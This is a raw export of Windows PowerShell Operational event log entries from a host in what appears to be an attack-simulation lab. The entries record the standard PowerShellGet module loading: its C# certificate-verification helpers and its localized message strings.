EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467062
Keywords=None
Message=Started invocation of ScriptBlock ID: 833ce886-0bda-40cb-a1a0-6b86440eef1c
Runspace ID: ff8d1fcc-94d9-4078-8466-5208a6cb51d2
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467061
Keywords=None
Message=Completed invocation of ScriptBlock ID: b9f337ef-d9f1-4356-be2d-20b6c86eb6cc
Runspace ID: 316cdae6-6e3a-4b6b-a499-5ff1faba5770
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467060
Keywords=None
Message=Started invocation of ScriptBlock ID: b9f337ef-d9f1-4356-be2d-20b6c86eb6cc
Runspace ID: 316cdae6-6e3a-4b6b-a499-5ff1faba5770
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 833ce886-0bda-40cb-a1a0-6b86440eef1c
Runspace ID: 316cdae6-6e3a-4b6b-a499-5ff1faba5770
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467058
Keywords=None
Message=Started invocation of ScriptBlock ID: 833ce886-0bda-40cb-a1a0-6b86440eef1c
Runspace ID: 316cdae6-6e3a-4b6b-a499-5ff1faba5770
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 45379c41-a4a5-4f66-b608-7333082ce12f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4103
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Executing Pipeline
OpCode=To be used when operation is just executing a method
RecordNumber=1467056
Keywords=None
Message=CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="ReferencedAssemblies"; value="System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, ..."
ParameterBinding(Add-Type): name="TypeDefinition"; value="using System;
using System.Net;
using System.Management.Automation;
using Microsoft.Win32.SafeHandles;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Runtime.ConstrainedExecution;
using System.Runtime.Versioning;
using System.Security;
namespace Microsoft.PowerShell.Commands.PowerShellGet
{
public static class Telemetry
{
public static void TraceMessageArtifactsNotFound(string[] artifactsNotFound, string operationName)
{
Microsoft.PowerShell.Telemetry.Internal.TelemetryAPI.TraceMessage(operationName, new { ArtifactsNotFound = artifactsNotFound });
}
public static void TraceMessageNonPSGalleryRegistration(string sourceLocationType, string sourceLocationHash, string installationPolicy, string packageManagementProvider, string publishLocationHash, string scriptSourceLocationHash, string scriptPublishLocationHash, string operationName)
{
Microsoft.PowerShell.Telemetry.Internal.TelemetryAPI.TraceMessage(operationName, new { SourceLocationType = sourceLocationType, SourceLocationHash = sourceLocationHash, InstallationPolicy = installationPolicy, PackageManagementProvider = packageManagementProvider, PublishLocationHash = publishLocationHash, ScriptSourceLocationHash = scriptSourceLocationHash, ScriptPublishLocationHash = scriptPublishLocationHash });
}
}
///
/// Used by Ping-Endpoint function to supply webproxy to HttpClient
/// We cannot use System.Net.WebProxy because this is not available on CoreClr
///
public class InternalWebProxy : IWebProxy
{
Uri _proxyUri;
ICredentials _credentials;
public InternalWebProxy(Uri uri, ICredentials credentials)
{
Credentials = credentials;
_proxyUri = uri;
}
///
/// Credentials used by WebProxy
///
public ICredentials Credentials
{
get
{
return _credentials;
}
set
{
_credentials = value;
}
}
public Uri GetProxy(Uri destination)
{
return _proxyUri;
}
public bool IsBypassed(Uri host)
{
return false;
}
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct CERT_CHAIN_POLICY_PARA {
public CERT_CHAIN_POLICY_PARA(int size) {
cbSize = (uint) size;
dwFlags = 0;
pvExtraPolicyPara = IntPtr.Zero;
}
public uint cbSize;
public uint dwFlags;
public IntPtr pvExtraPolicyPara;
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct CERT_CHAIN_POLICY_STATUS {
public CERT_CHAIN_POLICY_STATUS(int size) {
cbSize = (uint) size;
dwError = 0;
lChainIndex = IntPtr.Zero;
lElementIndex = IntPtr.Zero;
pvExtraPolicyStatus = IntPtr.Zero;
}
public uint cbSize;
public uint dwError;
public IntPtr lChainIndex;
public IntPtr lElementIndex;
public IntPtr pvExtraPolicyStatus;
}
// Internal SafeHandleZeroOrMinusOneIsInvalid class to remove the dependency on .Net Framework 4.6.
public abstract class InternalSafeHandleZeroOrMinusOneIsInvalid : SafeHandle
{
protected InternalSafeHandleZeroOrMinusOneIsInvalid(bool ownsHandle)
: base(IntPtr.Zero, ownsHandle)
{
}
public override bool IsInvalid
{
get
{
return handle == IntPtr.Zero || handle == new IntPtr(-1);
}
}
}
// Internal SafeX509ChainHandle class to remove the dependency on .Net Framework 4.6.
[SecurityCritical]
public sealed class InternalSafeX509ChainHandle : InternalSafeHandleZeroOrMinusOneIsInvalid {
private InternalSafeX509ChainHandle () : base(true) {}
internal InternalSafeX509ChainHandle (IntPtr handle) : base (true) {
SetHandle(handle);
}
internal static InternalSafeX509ChainHandle InvalidHandle {
get { return new InternalSafeX509ChainHandle(IntPtr.Zero); }
}
[SecurityCritical]
override protected bool ReleaseHandle()
{
CertFreeCertificateChain(handle);
return true;
}
[DllImport("Crypt32.dll", SetLastError=true)]
[SuppressUnmanagedCodeSecurity,
ResourceExposure(ResourceScope.None),
ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
private static extern void CertFreeCertificateChain(IntPtr handle);
}
public class Win32Helpers
{
[DllImport("Crypt32.dll", CharSet=CharSet.Auto, SetLastError=true)]
public extern static
bool CertVerifyCertificateChainPolicy(
[In] IntPtr pszPolicyOID,
[In] SafeX509ChainHandle pChainContext,
[In] ref CERT_CHAIN_POLICY_PARA pPolicyPara,
[In,Out] ref CERT_CHAIN_POLICY_STATUS pPolicyStatus);
[DllImport("Crypt32.dll", CharSet=CharSet.Auto, SetLastError=true)]
public static extern
SafeX509ChainHandle CertDuplicateCertificateChain(
[In] IntPtr pChainContext);
[DllImport("Crypt32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[ResourceExposure(ResourceScope.None)]
public static extern
SafeX509ChainHandle CertDuplicateCertificateChain(
[In] SafeX509ChainHandle pChainContext);
public static bool IsMicrosoftCertificate([In] SafeX509ChainHandle pChainContext)
{
//-------------------------------------------------------------------------
// CERT_CHAIN_POLICY_MICROSOFT_ROOT
//
// Checks if the last element of the first simple chain contains a
// Microsoft root public key. If it doesn't contain a Microsoft root
// public key, dwError is set to CERT_E_UNTRUSTEDROOT.
//
// pPolicyPara is optional. However,
// MICROSOFT_ROOT_CERT_CHAIN_POLICY_ENABLE_TEST_ROOT_FLAG can be set in
// the dwFlags in pPolicyPara to also check for the Microsoft Test Roots.
//
// MICROSOFT_ROOT_CERT_CHAIN_POLICY_CHECK_APPLICATION_ROOT_FLAG can be set
// in the dwFlags in pPolicyPara to check for the Microsoft root for
// application signing instead of the Microsoft product root. This flag
// explicitly checks for the application root only and cannot be combined
// with the test root flag.
//
// MICROSOFT_ROOT_CERT_CHAIN_POLICY_DISABLE_FLIGHT_ROOT_FLAG can be set
// in the dwFlags in pPolicyPara to always disable the Flight root.
//
// pvExtraPolicyPara and pvExtraPolicyStatus aren't used and must be set
// to NULL.
//--------------------------------------------------------------------------
const uint MICROSOFT_ROOT_CERT_CHAIN_POLICY_ENABLE_TEST_ROOT_FLAG = 0x00010000;
const uint MICROSOFT_ROOT_CERT_CHAIN_POLICY_CHECK_APPLICATION_ROOT_FLAG = 0x00020000;
//const uint MICROSOFT_ROOT_CERT_CHAIN_POLICY_DISABLE_FLIGHT_ROOT_FLAG = 0x00040000;
CERT_CHAIN_POLICY_PARA PolicyPara = new CERT_CHAIN_POLICY_PARA(Marshal.SizeOf(typeof(CERT_CHAIN_POLICY_PARA)));
CERT_CHAIN_POLICY_STATUS PolicyStatus = new CERT_CHAIN_POLICY_STATUS(Marshal.SizeOf(typeof(CERT_CHAIN_POLICY_STATUS)));
int CERT_CHAIN_POLICY_MICROSOFT_ROOT = 7;
PolicyPara.dwFlags = (uint) MICROSOFT_ROOT_CERT_CHAIN_POLICY_ENABLE_TEST_ROOT_FLAG;
bool isMicrosoftRoot = false;
if(CertVerifyCertificateChainPolicy(new IntPtr(CERT_CHAIN_POLICY_MICROSOFT_ROOT),
pChainContext,
ref PolicyPara,
ref PolicyStatus))
{
isMicrosoftRoot = (PolicyStatus.dwError == 0);
}
// Also check for the Microsoft root for application signing if the Microsoft product root verification is unsuccessful.
if(!isMicrosoftRoot)
{
// Some Microsoft modules can be signed with Microsoft Application Root instead of Microsoft Product Root,
// So we need to use the MICROSOFT_ROOT_CERT_CHAIN_POLICY_CHECK_APPLICATION_ROOT_FLAG for the certificate verification.
// MICROSOFT_ROOT_CERT_CHAIN_POLICY_CHECK_APPLICATION_ROOT_FLAG can not be used
// with MICROSOFT_ROOT_CERT_CHAIN_POLICY_ENABLE_TEST_ROOT_FLAG,
// so additional CertVerifyCertificateChainPolicy call is required to verify the given certificate is in Microsoft Application Root.
//
CERT_CHAIN_POLICY_PARA PolicyPara2 = new CERT_CHAIN_POLICY_PARA(Marshal.SizeOf(typeof(CERT_CHAIN_POLICY_PARA)));
CERT_CHAIN_POLICY_STATUS PolicyStatus2 = new CERT_CHAIN_POLICY_STATUS(Marshal.SizeOf(typeof(CERT_CHAIN_POLICY_STATUS)));
PolicyPara2.dwFlags = (uint) MICROSOFT_ROOT_CERT_CHAIN_POLICY_CHECK_APPLICATION_ROOT_FLAG;
if(CertVerifyCertificateChainPolicy(new IntPtr(CERT_CHAIN_POLICY_MICROSOFT_ROOT),
pChainContext,
ref PolicyPara2,
ref PolicyStatus2))
{
isMicrosoftRoot = (PolicyStatus2.dwError == 0);
}
}
return isMicrosoftRoot;
}
}
} "
ParameterBinding(Add-Type): name="Language"; value="CSharp"
ParameterBinding(Add-Type): name="ErrorAction"; value="SilentlyContinue"
Context:
Severity = Informational
Host Name = ConsoleHost
Host Version = 5.1.14393.4402
Host ID = b0030b64-c114-4765-a95a-dacf53f2747d
Host Application = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Engine Version = 5.1.14393.4402
Runspace ID = c5f1100c-56fc-4347-871f-80d397213539
Pipeline ID = 9
Command Name = Add-Type
Command Type = Cmdlet
Script Name = C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1
Command Path =
Sequence Number = 20
User = ATTACKRANGE\administrator
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467055
Keywords=None
Message=Completed invocation of ScriptBlock ID: b5078b5d-8a41-45b2-a7d5-f3637cd1accb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467054
Keywords=None
Message=Started invocation of ScriptBlock ID: b5078b5d-8a41-45b2-a7d5-f3637cd1accb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=3
Type=Warning
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1467053
Keywords=None
Message=Creating Scriptblock text (3 of 3):
id. Verify that the manifest file is valid, and then try again.'{1}'
ExportedDscResourcesNotSupportedOnLowerPowerShellVersion=The ExportedDscResources property is not supported in module manifests on PowerShell versions that are older than 5.0. Remove the value for the parameter ‘DscResourcesToExport’, and then try again.
CompatiblePSEditionsNotSupportedOnLowerPowerShellVersion=The CompatiblePSEditions property is not supported in module manifests on PowerShell versions that are older than 5.1. Remove the value for the parameter ‘CompatiblePSEditions’, and then try again.
ExternalModuleDependenciesNotSpecifiedInRequiredOrNestedModules='{0}' is listed in ExternalModuleDependencies, but it is not found in either the RequiredModules or NestedModules properties. Verify that this module is required for ExternalModuleDependencies, and then add it to NestedModules or RequiredModules.
TestModuleManifestFail=Cannot update the manifest properly. '{0}'
PackageManagementProvidersNotInModuleBaseFolder=PackageManagementProvider '{0}' is not found in the module base '{1}'. Verify that the PackageManagementProvider specified is within the module base.
UpdateManifestContentMessage=Update manifest file with new contents:
InvalidPackageManagementProviderValue=The PackageManagementProvider value cannot be '{0}'. Valid values for provider names include '{1}', and the default value for this parameter is '{2}'.
PowerShellGetUpdateIsNotSupportedOnLowerPSVersions=Self update of the PowerShellGet module is supported only in PowerShell 5.0 and newer releases. It is not supported in PowerShell 3.0 or 4.0.
ScriptVersionShouldBeGreaterThanGalleryVersion=Script '{0}' with version '{1}' cannot be published. The version must exceed the current version '{2}' that exists in the repository '{3}', or you must specify -Force.
ScriptVersionIsAlreadyAvailableInTheGallery=The script '{0}' with version '{1}' cannot be published as the current version '{2}' is already available in the repository '{3}'.
ScriptParseError=The specified script file '{0}' has parse errors, try again after fixing the parse errors.
InvalidScriptToPublish=Script file '{0}' cannot be published because it does not have the required script metadata. Run Update-ScriptFileInfo -Path '{1}' to add the script metadata.
FailedToCreateCompressedScript=Failed to generate the compressed file for script '{0}'.
FailedToPublishScript=Failed to publish script '{0}': '{1}'.
PublishedScriptSuccessfully=Successfully published script '{0}' to the publish location '{1}'. Please allow few minutes for '{2}' to show up in the search results.
UnableToResolveScriptDependency=PowerShellGet cannot resolve the {0} dependency '{1}' of the script '{2}' on the repository '{3}'. Verify that the dependent {0} '{1}' is available in the repository '{3}'. If this dependent {0} '{1}' is managed externally, add it to the '{4}' entry in the script metadata.
InvalidVersion=Cannot convert value '{0}' to type 'System.Version'.
InvalidGuid=Cannot convert value '{0}' to type 'System.Guid'.
InvalidParameterValue=The specified value '{0}' for the parameter '{1}' is invalid. Ensure that it does not contain '<#' or '#>'.
MissingPSScriptInfo=PSScriptInfo is not specified in the script file '{0}'. You can use the Update-ScriptFileInfo with -Force or New-ScriptFileInfo cmdlet to add the PSScriptInfo to the script file.
MissingRequiredPSScriptInfoProperties=Script '{0}' is missing required metadata properties. Verify that the script file has Version, Guid, Description and Author properties. You can use the Update-ScriptFileInfo or New-ScriptFileInfo cmdlet to add or update the PSScriptInfo to the script file.
SkippedScriptDependency=Because dependent script '{0}' was skipped in the script dependencies list, users might not know how to install it.
SourceLocationPathsForModulesAndScriptsShouldBeEqual=SourceLocation '{0}' and ScriptSourceLocation '{1}' should be same for SMB Share or Local directory based repositories.
SourceLocationUrisForModulesAndScriptsShouldBeDifferent=SourceLocation '{0}' and ScriptSourceLocation '{1}' should not be same for URI based repositories.
PublishLocationPathsForModulesAndScriptsShouldBeEqual=PublishLocation '{0}' and ScriptPublishLocation '{1}' should be same for SMB Share or Local directory based repositories.
SpecifiedNameIsAlearyUsed=The specified name '{0}' is already used for a different item on the specified repository '{1}'. Run '{2} -Name {0} -Repository {1}' to check whether the specified name '{0}' is already taken.
InvalidScriptFilePath=The script file path '{0}' is not valid. The value of the Path argument must resolve to a single file that has a '.ps1' extension. Change the value of the Path argument to point to a valid ps1 file, and then try again.
NuGetApiKeyIsRequiredForNuGetBasedGalleryService=NuGetApiKey is required for publishing a module or script file to the specified repository '{0}' whose publish location is '{1}'. Try again after specifying a valid value for the NuGetApiKey parameter. To get your API key, view your profile page.
ScriptFileExist=The specified script file '{0}' already exists.
PublishPSArtifactUnsupportedOnNano=Publish-{0} is not supported on Nano Server.
InvalidEnvironmentVariableName=The specified environment variable name '{0}' exceeded the allowed limit of '{1}' characters.
PublishLocation=Publish Location:'{0}'.
ScriptPATHPromptCaption=PATH Environment Variable Change
ScriptPATHPromptQuery=Your system has not been configured with a default script installation path yet, which means you can only run a script by specifying the full path to the script file. This action places the script into the folder '{0}', and adds that folder to your PATH environment variable. Do you want to add the script installation path '{0}' to the PATH environment variable?
AddedScopePathToProcessSpecificPATHVariable=Added scripts installation location '{0}' for '{1}' scope to process specific PATH environment varaible.
AddedScopePathToPATHVariable=Added scripts installation location '{0}' for '{1}' scope to PATH environment varaible.
FilePathInFileListNotWithinModuleBase=Path '{0}' defined in FileList is not within module base '{1}'. Provide the correct FileList parameters and then try again.
ManifestFileReadWritePermissionDenied=The current user does not have read-write permissions for the file:'{0}'. Check the file permissions and then try again.
MissingTheRequiredPathOrPassThruParameter=The Path or PassThru parameter is required for creating the script file info. A new script file will be created with the script file info when the Path parameter is specified. Script file info will be returned if the PassThru parameter is specified. Try again after specifying the required parameter.
DescriptionParameterIsMissingForAddingTheScriptFileInfo=Description parameter is missing for adding the metadata to the script file. Try again after specifying the description.
UnableToAddPSScriptInfo=Unable to add PSScriptInfo to the script file '{0}'. You can use the New-ScriptFileInfo cmdlet to add the metadata to the existing script file.
RegisterVSTSFeedAsNuGetPackageSource=Publishing to a VSTS package management feed '{0}' requires it to be registered as a NuGet package source. Retry after adding this source '{0}' as NuGet package source by following the instructions specified at '{1}'
InvalidModuleAuthenticodeSignature=The module '{0}' cannot be installed or updated because the authenticode signature of the file '{1}' is not valid.
InvalidCatalogSignature=The module '{0}' cannot be installed because the catalog signature in '{1}' does not match the hash generated from the module.
AuthenticodeIssuerMismatch=Authenticode issuer '{0}' of the new module '{1}' with version '{2}' is not matching with the authenticode issuer '{3}' of the previously-installed module '{4}' with version '{5}'. If you still want to install or update, use -SkipPublisherCheck parameter.
ModuleCommandAlreadyAvailable=A command with name '{0}' is already available on this system. This module '{1}' may override the existing commands. If you still want to install this module '{1}', use -AllowClobber parameter.
CatalogFileFound=Found the catalog file '{0}' in the module '{1}' contents.
CatalogFileNotFoundInAvailableModule=Catalog file '{0}' is not found in the contents of the previously-installed module '{1}' with the same name.
CatalogFileNotFoundInNewModule=Catalog file '{0}' is not found in the contents of the module '{1}' being installed.
ValidAuthenticodeSignature=Valid authenticode signature found in the catalog file '{0}' for the module '{1}'.
ValidAuthenticodeSignatureInFile=Valid authenticode signature found in the file '{0}' for the module '{1}'.
ValidatingCatalogSignature=Validating the '{0}' module files for catalog signing using the catalog file '{1}'.
AuthenticodeIssuerMatch=Authenticode issuer '{0}' of the new module '{1}' with version '{2}' matches with the authenticode issuer '{3}' of the previously-installed module '{4}' with version '{5}'.
ValidCatalogSignature=The catalog signature in '{0}' of the module '{1}' is valid and matches with the hash generated from the module contents.
SkippingPublisherCheck=Skipping the Publisher check for the version '{0}' of module '{1}'.
SourceModuleDetailsForPublisherValidation=For publisher validation, using the previously-installed module '{0}' with version '{1}' under '{2}' with publisher name '{3}'. Is this module signed by Microsoft: '{4}'.
NewModuleVersionDetailsForPublisherValidation=For publisher validation, current module '{0}' with version '{1}' with publisher name '{2}'. Is this module signed by Microsoft: '{3}'.
PublishersMatch=Publisher '{0}' of the new module '{1}' with version '{2}' matches with the publisher '{3}' of the previously-installed module '{4}' with version '{5}'. Both versions are signed with a Microsoft root certifacte.
PublishersMismatch=A Microsoft-signed module named '{0}' with version '{1}' that was previously installed conflicts with the new module '{2}' from publisher '{3}' with version '{4}'. Installing the new module may result in system instability. If you still want to install or update, use -SkipPublisherCheck parameter.
ModuleIsNotCatalogSigned=The version '{0}' of the module '{1}' being installed is not catalog signed. Ensure that the version '{0}' of the module '{1}' has the catalog file '{2}' and signed with the same publisher '{3}' as the previously-installed module '{0}' with version '{4}' under the directory '{5}'. If you still want to install or update, use -SkipPublisherCheck parameter.
###PSLOC
'@
ScriptBlock ID: b5078b5d-8a41-45b2-a7d5-f3637cd1accb
Path:
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=3
Type=Warning
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1467052
Keywords=None
Message=Creating Scriptblock text (2 of 3):
registered repository name. Please ensure that '{1}' is a registered repository.
RepositoryRegistered=Successfully registered the repository '{0}' with source location '{1}'.
RepositoryUnregistered=Successfully unregistered the repository '{0}'.
PSGalleryPublishLocationIsMissing=The specified repository '{0}' does not have a valid PublishLocation. Retry after setting the PublishLocation for repository '{1}' to a valid NuGet publishing endpoint using the Set-PSRepository cmdlet.
PSRepositoryScriptPublishLocationIsMissing=The specified repository '{0}' does not have a valid ScriptPublishLocation. Retry after setting the ScriptPublishLocation for repository '{1}' to a valid NuGet publishing endpoint using the Set-PSRepository cmdlet.
ScriptSourceLocationIsMissing=The specified repository '{0}' does not have a valid ScriptSourceLocation. Retry after setting the ScriptSourceLocation for repository '{0}' to a valid NuGet endpoint for scripts using the Set-PSRepository cmdlet.
PublishModuleSupportsOnlyNuGetBasedPublishLocations=Publish-Module only supports the NuGet-based publish locations. The PublishLocation '{0}' of the repository '{1}' is not a NuGet-based publish location. Retry after setting the PublishLocation for repository '{1}' to a valid NuGet publishing endpoint using the Set-PSRepository cmdlet.
PublishScriptSupportsOnlyNuGetBasedPublishLocations=Publish-Script only supports the NuGet-based publish locations. The ScriptPublishLocation '{0}' of the repository '{1}' is not a NuGet-based publish location. Retry after setting the ScriptPublishLocation for repository '{1}' to a valid NuGet publishing endpoint using the Set-PSRepository cmdlet.
DynamicParameterHelpMessage=The dynamic parameter '{0}' is required for Find-Module and Install-Module when using the PackageManagement provider '{1}' and source location '{2}'. Please enter your value for the '{3}' dynamic parameter:
ProviderApiDebugMessage=In PowerShellGet Provider - '{0}'.
ModuleUninstallNotSupported=Module uninstallation is not supported. To remove a module, please delete the module folder.
FastPackageReference=The FastPackageReference is '{0}'.
PackageManagementProviderIsNotAvailable=The specified PackageManagement provider '{0}' is not available.
SpecifiedSourceName=Using the specified source names : '{0}'.
SpecifiedLocationAndOGP=The specified Location is '{0}' and PackageManagementProvider is '{1}'.
NoSourceNameIsSpecified=The -Repository parameter was not specified. PowerShellGet will use all of the registered repositories.
GettingPackageManagementProviderObject=Getting the provider object for the PackageManagement Provider '{0}'.
InvalidInputObjectValue=Invalid value is specified for InputObject parameter.
SpecifiedInstallationScope=The installation scope is specified to be '{0}'.
SourceLocationValueForPSGalleryCannotBeChanged=The SourceLocation value for the PSGallery repository can not be changed.
PublishLocationValueForPSGalleryCannotBeChanged=The PublishLocation value for the PSGallery repository can not be changed.
SpecifiedProviderName=The specified PackageManagement provider name '{0}'.
ProviderNameNotSpecified=User did not specify the PackageManagement provider name, trying with the provider name '{0}'.
SpecifiedProviderNotAvailable=The specified PackageManagement provider '{0}' is not available.
SpecifiedProviderDoesnotSupportPSModules=The specified PackageManagement Provider '{0}' does not support PowerShell Modules. PackageManagement Providers must support the 'supports-powershell-modules' feature.
PollingPackageManagementProvidersForLocation=Polling available PackageManagement Providers to find one that can support the specified source location '{0}'.
PollingSingleProviderForLocation=Resolving the source location '{0}' with PackageManagement Provider '{1}'.
FoundProviderForLocation=The PackageManagement provider '{0}' supports the source location '{1}'.
SpecifiedLocationCannotBeRegistered=The specified location '{0}' cannot be registered.
RepositoryDetails=Repository details, Name = '{0}', Location = '{1}'; IsTrusted = '{2}'; IsRegistered = '{3}'.
NotSupportedPowerShellGetFormatVersion=The specified module '{0}' with PowerShellGetFormatVersion '{1}' is not supported by the current version of PowerShellGet. Get the latest version of the PowerShellGet module to install this module, '{2}'.
NotSupportedPowerShellGetFormatVersionScripts=The specified script '{0}' with PowerShellGetFormatVersion '{1}' is not supported by the current version of PowerShellGet. Get the latest version of the PowerShellGet module to install this script, '{2}'.
PathNotFound=Cannot find the path '{0}' because it does not exist.
ModuleIsNotTrusted=Untrusted module '{0}'.
ScriptIsNotTrusted=Untrusted script '{0}'.
SkippedModuleDependency=Because dependent module '{0}' was skipped in the module dependencies list, users might not know how to install it.
MissingExternallyManagedModuleDependency=The externally managed, dependent module '{0}' is not installed on this computer. To use the current module '{1}', ensure that its dependent module '{2}' is installed.
ExternallyManagedModuleDependencyIsInstalled=The externally managed, dependent module '{0}' is already installed on this computer.
ScriptMissingExternallyManagedModuleDependency=The externally managed, dependent module '{0}' is not installed on this computer. To use the current script '{1}', ensure that its dependent module '{2}' is installed.
ScriptMissingExternallyManagedScriptDependency=The externally managed, dependent module '{0}' is not installed on this computer. To use the current script '{1}', ensure that its dependent script '{2}' is installed.
ScriptExternallyManagedScriptDependencyIsInstalled=The externally managed, dependent script '{0}' is already installed on this computer.
UnableToResolveModuleDependency=PowerShellGet cannot resolve the module dependency '{0}' of the module '{1}' on the repository '{2}'. Verify that the dependent module '{3}' is available in the repository '{4}'. If this dependent module '{5}' is managed externally, add it to the ExternalModuleDependencies entry in the PSData section of the module manifest.
FindingModuleDependencies=Finding module dependencies for version '{1}' of the module '{0}' from repository '{2}'.
InstallingDependencyModule=Installing the dependency module '{0}' with version '{1}' for the module '{2}'.
InstallingDependencyScript=Installing the dependency script '{0}' with version '{1}' for the script '{2}'.
SavingDependencyModule=Saving the dependency module '{0}' with version '{1}' for the module '{2}'.
SavingDependencyScript=Saving the dependency script '{0}' with version '{1}' for the script '{2}'.
ModuleUninstallationSucceeded=Successfully uninstalled the module '{0}' from module base '{1}'.
ScriptUninstallationSucceeded=Successfully uninstalled the script '{0}' from script base '{1}'.
AdminPrivilegesRequiredForUninstall=You cannot uninstall the module '{0}' from '{1}' because Administrator rights are required to uninstall from that folder. Log on to the computer with an account that has Administrator rights, and then try again. You can also try running the Windows PowerShell session with elevated rights (Run as Administrator).
AdminPrivilegesRequiredForScriptUninstall=You cannot uninstall the script '{0}' from '{1}' because Administrator rights are required to uninstall from that folder. Log on to the computer with an account that has Administrator rights, and then try again. You can also try running the Windows PowerShell session with elevated rights (Run as Administrator).
ModuleUninstallationNotPossibleAsItIsNotInstalledUsingPowerShellGet=Module '{0}' was not installed on this computer by using either the PowerShellGet cmdlets or the PowerShellGet provider, so it cannot be uninstalled.
ScriptUninstallationNotPossibleAsItIsNotInstalledUsingPowerShellGet=Script '{0}' was not installed on this computer by using either the PowerShellGet cmdlets or the PowerShellGet provider, so it cannot be uninstalled.
UnableToUninstallModuleVersion=The module '{0}' of version '{1}' in module base folder '{2}' was installed without side-by-side version support. Some versions are installed in this module base with side-by-side version support. Uninstall other versions of this module before uninstalling the most current version.
UnableToUninstallAsOtherModulesNeedThisModule=The module '{0}' of version '{1}' in module base folder '{2}' cannot be uninstalled, because one or more other modules '{3}' are dependent on this module. Uninstall the modules that depend on this module before uninstalling module '{4}'.
UnableToUninstallAsOtherScriptsNeedThisScript=The script '{0}' of version '{1}' in script base folder '{2}' cannot be uninstalled, because one or more other scripts '{3}' are dependent on this script. Uninstall the scripts that depend on this script before uninstalling script '{4}'.
RepositoryIsNotTrusted=Untrusted repository
QueryInstallUntrustedPackage=You are installing the modules from an untrusted repository. If you trust this repository, change its InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want to install the modules from '{1}'?
